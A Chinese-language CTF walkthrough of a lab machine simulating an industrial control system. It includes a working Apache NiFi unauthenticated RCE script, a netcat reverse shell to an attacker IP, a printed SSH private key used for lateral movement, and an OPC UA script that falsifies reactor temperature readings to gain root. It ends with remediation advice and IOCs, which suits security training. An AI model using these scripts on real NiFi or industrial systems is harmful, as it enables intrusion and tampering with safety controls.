执行摘要

Helix 模拟工业控制系统(ICS)环境。外部攻击面极小,仅开放SSH和静态网站。通过虚拟主机枚举发现未认证的Apache NiFi实例,利用其REST API获得RCE。从NiFi诊断目录恢复SSH私钥完成横向移动。最终通过操纵OPC UA工业协议篡改反应堆传感器读数,触发维护窗口实现root提权。


阶段一:信息收集

1.1 端口扫描

# TCP全端口扫描
rustscan -a 10.129.17.212 -- -sV -sC
# UDP top 50 端口
nmap -sU --top-ports 50 -sV 10.129.17.212

结果:

端口 服务 版本
22/tcp OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp nginx 1.18.0 (Ubuntu)

1.2 Web枚举

# 指纹识别
whatweb http://helix.htb/

# 虚拟主机枚举 (关键!)
ffuf -u http://helix.htb/ -H "Host: FUZZ.helix.htb" \
  -w /usr/share/wordlists/dirb/common.txt -fc 302 -t 50

# 添加hosts
echo "10.129.17.212 helix.htb flow.helix.htb" | sudo tee -a /etc/hosts

发现:

  • helix.htb — 纯静态企业网站,无后端功能
  • flow.helix.htb — Apache NiFi 1.21.0,supportsLogin: false(匿名访问)

1.3 NiFi版本确认

# 确认版本和认证状态
curl -s http://flow.helix.htb/nifi-api/flow/about | python3 -m json.tool
# {"about":{"version":"1.21.0",...}}

# 确认匿名访问
curl -s http://flow.helix.htb/nifi-api/access/config
# {"config":{"supportsLogin":false}}

阶段二:初始立足 (nifi用户)

2.1 NiFi RCE原理

NiFi REST API在匿名访问模式下允许创建ExecuteProcess处理器,该处理器可执行任意系统命令。

2.2 可复现RCE脚本

#!/usr/bin/env python3
"""NiFi 1.21.0 Unauthenticated RCE via ExecuteProcess"""
import requests
import sys

TARGET = "http://flow.helix.htb"
NIFI_API = f"{TARGET}/nifi-api"

def nifi_rce(command, callback_url=None):
    """Execute a command via NiFi ExecuteProcess"""
    
    # 1. 获取root process group ID
    r = requests.get(f"{NIFI_API}/process-groups/root")
    root_id = r.json()['id']
    
    # 2. 创建ExecuteProcess处理器
    payload = {
        "revision": {"version": 0},
        "component": {
            "type": "org.apache.nifi.processors.standard.ExecuteProcess",
            "name": f"CMD-{command[:20]}",
            "position": {"x": 0, "y": 0},
            "config": {
                "properties": {
                    "Command": "/bin/bash",
                    "Command Arguments": f"-c#{command}",
                    "Batch Duration": "10 sec",
                    "Redirect Error Stream": "true",
                    "Argument Delimiter": "#"  # 单字符分隔符,避免空格分割
                },
                "schedulingPeriod": "30 sec",
                "autoTerminatedRelationships": ["success"]
            }
        }
    }
    
    r = requests.post(
        f"{NIFI_API}/process-groups/{root_id}/processors",
        json=payload
    )
    proc = r.json()
    proc_id = proc['id']
    
    # 3. 启动处理器
    rev = proc['revision']['version']
    requests.put(
        f"{NIFI_API}/processors/{proc_id}",
        json={
            "revision": {"version": rev},
            "component": {"id": proc_id, "state": "RUNNING"}
        }
    )
    
    print(f"[+] Processor {proc_id} RUNNING: {command}")

# 使用示例:向Kali监听器发送回调
# nifi_rce("curl http://10.10.16.155:8888/RCE-TEST")

关键参数:

  • Argument Delimiter: "#" — 必须为单字符,将整个payload作为单个参数传给bash -c
  • Batch Duration — 命令输出捕获时间
  • autoTerminatedRelationships: ["success"] — 自动终止FlowFile输出流

2.3 建立反向Shell

# Kali监听
nc -lvnp 4444

# NiFi执行反向Shell
python3 -c "
import requests
# (使用上面nifi_rce函数)
nifi_rce('busybox nc 10.10.16.155 4444 -e /bin/sh')
"

2.4 系统侦察(nifi视角)

# 通过NiFi执行的侦察命令
id                          # uid=998(nifi) gid=998(nifi)
cat /etc/passwd             # 发现 operator(1001), plc(997), www-data(33)
ss -tlnp                    # :8081(Helix HMI), :4840(OPC UA), :8080(NiFi)
ps aux                      # helix-safety(root), helix-plc(plc), helix-hmi(www-data)
ls -la /opt/                # nifi-1.21.0/, helix/ (0750 root:helixsvc)
getent group helixsvc       # helixsvc:x:1002:plc,www-data (nifi不在组内!)

阶段三:横向移动 → operator

3.1 SSH私钥恢复

# NiFi support-bundles目录包含备份的SSH私钥
cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak

私钥内容:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

3.2 SSH登录

# 保存私钥并设置权限
cat > /tmp/operator_id_ed25519 << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 /tmp/operator_id_ed25519

# SSH登录
ssh -i /tmp/operator_id_ed25519 [email protected]

# 获取user flag
cat ~/user.txt

阶段四:ICS分析

4.1 环境探索

# sudo权限 — 免密运行维护控制台
sudo -l
# (root) NOPASSWD: /usr/local/sbin/helix-maint-console

# Helix内部服务
curl -s http://127.0.0.1:8081/   # HMI面板 (helix-hmi, www-data)
# OPC UA: opc.tcp://127.0.0.1:4840/helix/

# 关键文件
ls -la /usr/local/sbin/helix-maint-console
# -rwxr-x--- root:operator (932 bytes)
cat /etc/sudoers.d/helix-maint  # 0440 root:root (不可读)

4.2 HMI面板分析

温度计算逻辑: Temperature = TemperatureRaw + CalibrationOffset

当前: Raw Temp 284.0°C + Offset 0.0°C → 284.0°C (NORMAL)
目标: Raw Temp 284.0°C + Offset 11.0°C → 295.0°C (触发维护窗口)
条件: Temp ≥ 295°C OR Pressure ≥ 73 bar, 同时 TripActive = False

4.3 OPC UA安装

目标无互联网,需从Kali传输依赖包:

# Kali: 下载Python 3.10兼容的包
mkdir /tmp/opcua_pkg && cd /tmp/opcua_pkg
pip3 download --python-version 3.10 --only-binary :all: lxml -d .
pip3 download opcua -d .

# Kali: 启动HTTP服务器
python3 -m http.server 8000

# 目标: 安装到/tmp (HOME不可写)
mkdir -p /tmp/opcua_install
pip3 install --target=/tmp/opcua_install --trusted-host 10.10.16.155 \
  --no-index --find-links http://10.10.16.155:8000/ opcua

4.4 OPC UA节点结构

Plant (ns=2)
├── Reactor (ns=2;i=2)
│   ├── TemperatureRaw = 284.0  (ns=2;i=3)
│   ├── Temperature = 284.0     (ns=2;i=4)  ← 自动计算 Raw+Offset
│   ├── Pressure = 69.0         (ns=2;i=5)  ← 只读
│   └── CalibrationOffset = 0.0 (ns=2;i=6)  ← 可写!
├── Safety (ns=2;i=7)
│   ├── RodsInserted (ns=2;i=8)
│   ├── EmergencyCooling (ns=2;i=9)
│   └── TripActive (ns=2;i=10)
└── Control (ns=2;i=11)
    ├── Mode = "NORMAL"    (ns=2;i=12)  ← 可写!
    ├── TestOverride       (ns=2;i=13)  ← 可写
    └── ResetTrip          (ns=2;i=14)  ← 可写

4.5 OPC UA枚举脚本

#!/usr/bin/env python3
"""OPC UA 枚举 — 列出所有节点"""
import sys
sys.path.insert(0, '/tmp/opcua_install')
from opcua import Client, ua

c = Client("opc.tcp://127.0.0.1:4840/helix/")
c.session_timeout = 5000
c.connect()

objects = c.get_objects_node()
for child in objects.get_children():
    name = child.get_browse_name()
    if name.NamespaceIndex == 2:  # Helix namespace
        print(f"\n[{name}]")
        for sub in child.get_children():
            sname = sub.get_browse_name()
            try:
                val = sub.get_value()
                print(f"  {sname} = {val} (id={sub.nodeid})")
            except:
                print(f"  {sname} (id={sub.nodeid})")
c.disconnect()

阶段五:提权 → root

5.1 维护窗口触发原理

helix-maint-console (932字节脚本) 检查逻辑:

FLAG="/opt/helix/state/maintenance_window"
[ -f "$FLAG" ] || return 1  # 文件必须存在
# 读取时间戳,验证窗口未过期

安全控制器 (helix-safety, root) 仅在以下条件同时满足时创建维护窗口文件:

  1. Mode == "MAINTENANCE" (不是TEST!)
  2. Temperature ≥ 295°C (Raw + Offset)
  3. TripActive == False

5.2 完整提权脚本

#!/usr/bin/env python3
"""一键提权: OPC UA触发维护窗口 → sudo获取root"""
import sys
sys.path.insert(0, '/tmp/opcua_install')
from opcua import Client, ua
import subprocess, time

c = Client("opc.tcp://127.0.0.1:4840/helix/")
c.session_timeout = 5000
c.connect()

# 1. 读取当前值
raw_temp = c.get_node(ua.NodeId(3, 2)).get_value()
current_offset = c.get_node(ua.NodeId(6, 2)).get_value()
print(f"[*] Raw: {raw_temp:.1f}°C, Offset: {current_offset:.1f}°C")

# 2. 设置Mode=MAINTENANCE (关键!)
print("[*] Setting Mode = MAINTENANCE...")
c.get_node(ua.NodeId(12, 2)).set_value("MAINTENANCE")

# 3. 动态计算offset确保 Temperature ≥ 295°C
import math
needed = math.ceil(295.0 - raw_temp + 0.5)
print(f"[*] Setting offset to {needed}...")
c.get_node(ua.NodeId(6, 2)).set_value(float(needed))

# 4. 验证
temp = c.get_node(ua.NodeId(4, 2)).get_value()
print(f"[+] Temperature now: {temp:.1f}°C")
c.disconnect()

# 5. 等待安全控制器响应
time.sleep(2)

# 6. sudo执行维护控制台,管道注入命令
print("[*] Running sudo helix-maint-console...")
cmd = "cat /root/root.txt; id; whoami; exit\n"
result = subprocess.run(
    ['sudo', '/usr/local/sbin/helix-maint-console'],
    input=cmd, capture_output=True, text=True
)
print(result.stdout)
if 'uid=0(root)' in result.stdout:
    print("\n[+] ROOT ACCESS CONFIRMED!")

5.3 一步到位命令

# 单条SSH命令完成提权+读flag
ssh -i /tmp/operator_id_ed25519 [email protected] \
'PYTHONPATH=/tmp/opcua_install python3 -c "
from opcua import Client, ua
c=Client(\"opc.tcp://127.0.0.1:4840/helix/\")
c.session_timeout=5000; c.connect()
c.get_node(ua.NodeId(12,2)).set_value(\"MAINTENANCE\")
raw=c.get_node(ua.NodeId(3,2)).get_value()
c.get_node(ua.NodeId(6,2)).set_value(float(int(295-raw+0.5)))
print(\"Temp:\", c.get_node(ua.NodeId(4,2)).get_value())
c.disconnect()
" && sleep 1 && printf "cat /root/root.txt\nid\nexit\n" | sudo /usr/local/sbin/helix-maint-console'


缺陷与修复建议

漏洞 严重性 修复方案
NiFi匿名访问 严重 启用NiFi认证 (nifi.security.user.login.identity.provider)
NiFi support-bundles含SSH私钥 严重 禁止在应用目录存储凭据;support-bundles应在生成后立即清理
OPC UA无认证可读写 严重 启用OPC UA用户认证和访问控制
维护控制台仅检查文件存在 高 增加操作审计日志和多因素验证
sudo NOPASSWD配置 中 考虑添加时间窗口限制和命令参数校验
operator私钥无密码保护 中 生成SSH密钥时使用密码保护

IOC (入侵指标)

# 文件痕迹
/tmp/opcua_install/          # OPC UA Python库
/tmp/exploit*.py              # 利用脚本
/tmp/*.txt                    # 侦察输出
~/.ssh/authorized_keys        # 可能被修改

# NiFi痕迹
# 所有创建的ExecuteProcess处理器会持久化在:
/opt/nifi-1.21.0/conf/flow.xml.gz   # 处理器配置
/opt/nifi-1.21.0/conf/flow.json.gz  # (同上JSON格式)

# 日志
/opt/nifi-1.21.0/logs/nifi-app.log  # NiFi操作日志
/var/log/syslog                      # 系统日志(sudo执行)